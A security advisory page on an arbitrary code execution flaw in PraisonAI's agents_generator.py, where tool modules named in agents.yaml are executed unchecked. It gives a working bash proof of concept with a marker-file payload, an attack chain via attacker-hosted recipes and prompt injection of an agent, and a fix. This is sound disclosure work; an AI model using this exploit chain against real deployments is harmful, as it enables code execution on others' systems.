High

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

  • Disclosed: 29.05.2026
  • Updated: 11.10.2026 14:18
<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>
CVE GHSA Fixed in What was patched
CVE-2026-40156 GHSA-2g3w-cpc4-chr4 4.5.128 CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 GHSA-g985-wjh9-qxxc 4.5.139 Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 GHSA-xcmw-grxf-wjhj 4.6.32 Missed sink in templates/tool_override.py
This finding — unfixed Missed sinks in agents_generator.py
<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre>

<p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:&lt;attacker&gt;/&lt;repo&gt;/&lt;recipe&gt;"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre>

<h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>&gt;= 2.0.0, &lt;= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre>

<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen &amp; Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVE GHSA Fixed in What was patched
CVE-2026-40156 GHSA-2g3w-cpc4-chr4 4.5.128 CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 GHSA-g985-wjh9-qxxc 4.5.139 Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 GHSA-xcmw-grxf-wjhj 4.6.32 Missed sink in templates/tool_override.py
This finding — unfixed Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

python
# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

bash
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

python
import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.6.40 4.6.40

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-829, CWE-94
Platform
Python (PyPI)
Package
praisonai
Disclosed
29.05.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-78r8-wwqv-r299 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-2905 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334 this entry
    High · 8.1 CVE-2026-47398 < 4.6.40 4.6.40
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
Show more (20) Showing 21 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.